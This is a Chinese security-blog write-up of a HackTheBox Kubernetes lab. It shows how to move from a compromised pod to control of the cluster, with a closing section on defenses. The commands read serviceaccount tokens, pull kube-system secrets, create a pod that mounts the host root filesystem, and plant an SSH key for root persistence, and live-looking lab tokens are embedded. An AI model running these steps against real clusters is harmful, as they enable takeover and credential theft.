Skip to content

Latest commit

 

History

History
502 lines (209 loc) · 18.7 KB

[无界信安]-2021-9-10-浅谈K8S攻防:从进入POD到控制K8S集群.md

File metadata and controls

502 lines (209 loc) · 18.7 KB

浅谈K8S攻防:从进入POD到控制K8S集群

原创 PickleRickzZ 无界信安

无界信安

微信号 Boundless_Sec

功能介绍 信息安全无边无界,学习之路道阻且长


__

收录于话题

点击上方蓝字关注 获取最新安全知识

2021年第三季度了,很多公司都已经在尝试K8S,至少也在尝试容器化。K8S确实在一定程度上抹平了普通公司与一流公司的基础设施差距,实现了故障自愈、自动扩缩容等功能。许多文章只谈了etcd、apiserver对外访问性的安全问题,本文将以一个靶机为例,讲解从进入POD到控制K8S集群。

基础知识

首先回顾一下K8S的基础概念,一个典型的K8S部署应用架构大致如下

Unobtainium是第一个hackthebox的K8S靶机,本文主要聊聊这个靶机进入K8S的pod后的操作。

流程

进入环境首先进行信息收集,因为前期的扫描已经扫出了etcd

确认处于docker环境,需要注意有些CNI是没有.dockerenv文件的。

查看进程数量,发现相较一般的Linux少了很多,还可以看到很多其他人的进程在反弹。

进入一个POD第一步是信息收集serviceaccount

serviceaccount有两个常见的位置:

/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount

因为最开始信息收集知道有etcd,所以大致可以猜测是master节点,尝试请求api server。

cd /run/secrets/kubernetes.io/serviceaccount curl --cacert ca.crt --header "Authorization: Bearer $(cat token)" -X GET https://10.10.10.235:8443/api

api server访问成功

创建一个~/.kube/config,kubectl默认会从$HOME/.kube目录下查找文件名为 config 的文件,config就是访问集群的配置。

token 就是/run/secrets/kubernetes.io/serviceaccount/token

certificate-authority-data 就是base64 编码后的/run/secrets/kubernetes.io/serviceaccount/ca.crt


apiVersion: v1kind: Configusers:- name: evil  user:    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tZ3YycHEiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjQwODNiNTAyLWU0ZGMtNGZiMC1iNzU1LTY0ZmU3ZGVkMzcxNSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.mmkqCtOB3qHPkdybHAJuaLGpQk01UGqecZZO9TfMMeO02PO2CfXoeuRyR1I0BDmyJlxuzuDZdl0k6i0AsQF4DU3Ow_Rm-YZ5cIWDVV3tfuWIA0PvJsmlJqDC4X4OmbOIULLw4i5ckWO_0I35OhlRRLumnaRRrJKFaRnWA1H-zRyAPF3fBGtUuFJecHLNTOaDMyffvBCcblT5z4jjC7V4jKKG05NUNY4UNvvtCiFfevoeTfUzJ4L2dFtkOkHV8k_nC__eJu-CqOvLQlNAWgnJvhNLry_5IVGPxos80R0IC8gOto5bFx0WsSj5av56ff_1UsnDD68IG9uHdinOZC4xvAclusters:- cluster:    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUM1ekNDQWMrZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwdGFXNXAKYTNWaVpVTkJNQjRYRFRJeE1ERXdOekV6TWpRME9Wb1hEVE14TURFd05qRXpNalEwT1Zvd0ZURVRNQkVHQTFVRQpBeE1LYldsdWFXdDFZbVZEUVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTVRDCmozSE9PMXRhaE1PUHpkNjhuYUtoQmVpYUFaM2lxdC9TY25lZ1RnbEttdHo1RGFnRUQ1WWFqWk0rVXl2UEVxUSsKdSttYjFaYzFLYnJjMkZnM0M0OEJZN09JUDZHZk9YOTkwUERLSmhxWnRhT0FkY1U1R2ExYXZTK2wzZG82VjJrQwplVnN0d1g2U1ZJYnpHSkVVeE1VUGlac0Z0Nkhzdk43aHRQMVA1Z2V3d3Rnc1ZJWER5TGwvZVJmd0NuMlpXK24zCk5nQzRPSTg0empWSHBYbVhGYUdzZURIYi9FNHdLL04waE1EMERFVlBKc0VPb2dITTlMbmRVZ3lKbWhBdFdiRWoKMjUrSDhBd1FpMy84UFlORXNtdFNBVUV1V3RZMzZweC9zRDVDdGhpTmxOcGtCNXQ1YzFHSzkwRG15b2ZxQmdZdgo5d2tDTkdHWktwM0F4TU1OMm5zQ0F3RUFBYU5DTUVBd0RnWURWUjBQQVFIL0JBUURBZ0trTUIwR0ExVWRKUVFXCk1CUUdDQ3NHQVFVRkJ3TUNCZ2dyQmdFRkJRY0RBVEFQQmdOVkhSTUJBZjhFQlRBREFRSC9NQTBHQ1NxR1NJYjMKRFFFQkN3VUFBNElCQVFBSEpqbzhVYzNTSDFVbnNLU3daSlR1eWozNlcvbXNiTXIwcFNuM2RsRTZCb3V1a2hGMwo5R3htVmEyYW40L1ZGSmtBc1pTcUZVejFlNTJxdkpvRkpjWGVjNE1pTjZHWlRXdVVBOUQvanFpYXBuSFdlTzh4ClJHazRXTjY2WnJhTTBYM1BxYUhvK2NiZmhLT2xMOWprVXh2RSszQld1ajlwbHlEM245dEZlM2xuYXNEZnp5NE0KcTQ2NWl4UFpxRnFWY2h4UUZRK3BaMjRLaXFvUVc0bWFtL3g1RlB5MTMrTXc4SjR6Yjh2TGR1dkxRUjN3cFVHYgp2S1hkbktPTFdzaUV4eXJqcFpqWmJZQkw4YjcwNVhGRkd2bWFicDIxYUc4cHNCMVh2c0xpR0ZRRXF5RGZlRlJXCmhsN0twVUlTbDQrTnA1c0FpWE53dGJTREUrMjJRVnRaYnVEbgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==    server: https://10.10.10.235:8443/  name: unobtainium-clustercontexts:- context:    cluster: unobtainium-cluster    user: evil  name: contextcurrent-context: contextpreferences:  colours: true

查看命名空间。

kubectl get namespaces

直接列出pods失败。

kubectl get pods -A

指定命名空间看,可以发现有三个pod,这三个应该同一个应用。

kubectl get pods -n dev

查看pod详细情况。

kubectl describe pods -n dev

看看这几个ip。

kubectl describe pods -n dev | grep IP

查看dev命名空间权限。

kubectl auth can-i --list kubectl auth can-i --list -n dev

再用cdk进行信息收集,上传cdk。

chmod +x cdk_linux_amd64_upx./cdk_linux_amd64_upx evaluate --full

输出信息不是很多,但是这里提示了./cdk kcurl和api server这点呼应了。


2021/09/07 07:44:55 trying to list namespaces        success, the service-account have a high authority.        now you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command        good luck and have fun.

但是没利用成功,再用cdk对网段进行一次扫描。

./cdk_linux_amd64_upx probe 172.17.0.0-255 1-65535 100 500

但是cdk没有title信息,所以再用fscan试下。是的fscan,go的工具在容器环境确实可以的。

chmod +x fscan_amd64./fscan_amd64 -h 172.17.0.0/24

其他信息就没什么了,但是K8S应用一般是一堆pod对外提供服务,尝试相同的payload,尝试移动到别的pod试试,这个需要自己尝试,payload和前期获取pod权限的一样。

和猜想的一样,确实是相同的应用,再对新的pod上传一个kubectl,然后查看serviceaccount

cd /run/secrets/kubernetes.io/serviceaccount

kubectl auth can-i --list --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt

没啥区别。

查看系统命名空间信息,发现可以访问secret。

kubectl auth can-i --list -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt


cd /run/secrets/kubernetes.io/serviceaccountkubectl auth can-i --list -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crtkubectl get secrets -n kube-system --token $(cat token) --server https://10.10.10.235:8443 --certificate-authority ca.crt

获取其他信息。还是传个cdk,不过没什么特别的信息

chmod +x cdk_linux_amd64_upx./cdk_linux_amd64_upx evaluate --full

再把secret拉出来

kubectl get secrets -o yaml -n kube-system

看看有没有看上去就权限很高的,最后使用c-admin-token-tfmp2 的secret

kubectl describe secrets/c-admin-token-tfmp2 -n kube-system

权限提升

查看当前权限是否可以创建pod

kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow auth can-i create pod

这里先要查看一下有什么image

kubectl describe  pods   --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow  -A

发现有localhost:5000/node_server和localhost:5000/dev-alpine这两个镜像,求个稳

新建一个evilpod.yaml,这里直接挂在容易点,反弹可能有问题


apiVersion: v1 kind: Podmetadata:  name: alpine  namespace: kube-systemspec:  containers:  - name: evilpod    image: localhost:5000/dev-alpine    command: ["/bin/sh"]    args: ["-c", "sleep 300000"]    volumeMounts:     - mountPath: /mnt      name: hostfs  volumes:  - name: hostfs    hostPath:        path: /  automountServiceAccountToken: true  hostNetwork: true
kubectl apply -f evilpod.yaml  --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNo

进入这个pod

kubectl exec alpine --stdin --tty -n kube-system --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow -- /bin/sh

有时候pod会被干掉,最好确保pod是running的

kubectl get pods   --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow  -A

不过后面测试发现其实是有nc的

持久化

本地生成一个密钥对

sudo ssh-keygen -t rsa

在POD里上传写入公钥,本质就是写到了宿主机


cd /mnt/rootmkdir /mnt/root/.sshchmod 700 /mnt/root/.sshecho  "公钥"  > /mnt/root/.ssh/authorized_keyschmod 600 /mnt/root/.ssh/authorized_keys

然后用私钥登录

ssh -i /root/.ssh/id_rsa root@10.10.10.235

其实因为有人在破坏,cronjob那个坑没踩到。

总结

如下是一个典型的K8S的应用测试路径。

在这个靶机里主要是从一个pod横向到另一个pod,再借助pod的serviceaccunt执行kubectl 进而控制集群,通过控制集群挂载敏感主机敏感目录实现提权。

防御锚点的思考

笔者能力有限,有问题欢迎在后台进行交流。

笔者能力有限,有问题欢迎在后台进行交流。

笔者能力有限,有问题欢迎在后台进行交流。

事前

  • SCA :省略的前期打点中主要依靠的就是旧/不维护版本的安全问题,如果在开发前期集成进行准入管控,也可以扼杀攻击者入口。

  • 容器功能最小化:比如本例中不要给POD不需要的serviceaccout权限。

  • 传统安全设备:比如防火墙/全流量设备等,K8S绝不代表不需要安全设备。

事中

  • K8S运行时检测能力:异常的shell命令执行(POD信息收集)、敏感目录挂载、kubectl文件、cdk等容器渗透工具。

  • 集群内外关系、资产可视化展示能力:确定目前的影响面。

  • 微隔离能力:对安全进行响应。

事后

  • K8S日志采集:回溯攻击者攻击路径,形成预测、防御、检测、响应闭环

本文聊了很久,但是不同企业的二开K8S怎么防御就不好说了,可能就依赖攻击者对K8S的学习/掌握程度了。就目前来看安全设备对CNI是docker的支持较好。

参考文章

https://kubernetes.io/docs/reference/kubectl/cheatsheet/

https://mp.weixin.qq.com/s?src=11&timestamp=1631093391&ver=3302&signature=6RpJXu6vX9yTFlcRkVnlEEl8gR4nXzkN*8BRDg8*ukpTLAtMDWT1xu*wH4c6Odn5KMgzB0oyyLLhENSp-O952OttMPmuuYFhGr1S9JdfWzlPqbHRKBhxjmdEpEENicLP&new=1

https://jimmysong.io/kubernetes-hardening-guidance/kubernetes-pod- security.html

点个“在看”不失联

PickleRickzZ

赞赏二维码 微信扫一扫赞赏作者 赞赏

已喜欢,对作者说句悄悄话

取消 __

发送给作者

发送

最多40字,当前共字

人赞赏

上一页 1/3 下一页

长按二维码向我转账

受苹果公司新规定影响,微信 iOS 版的赞赏功能被关闭,可通过二维码转账支持公众号。

预览时标签不可点

收录于话题 #

个 __

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

示意图

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

浅谈K8S攻防:从进入POD到控制K8S集群

最多200字,当前共字

__

发送中

写下你的留言

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看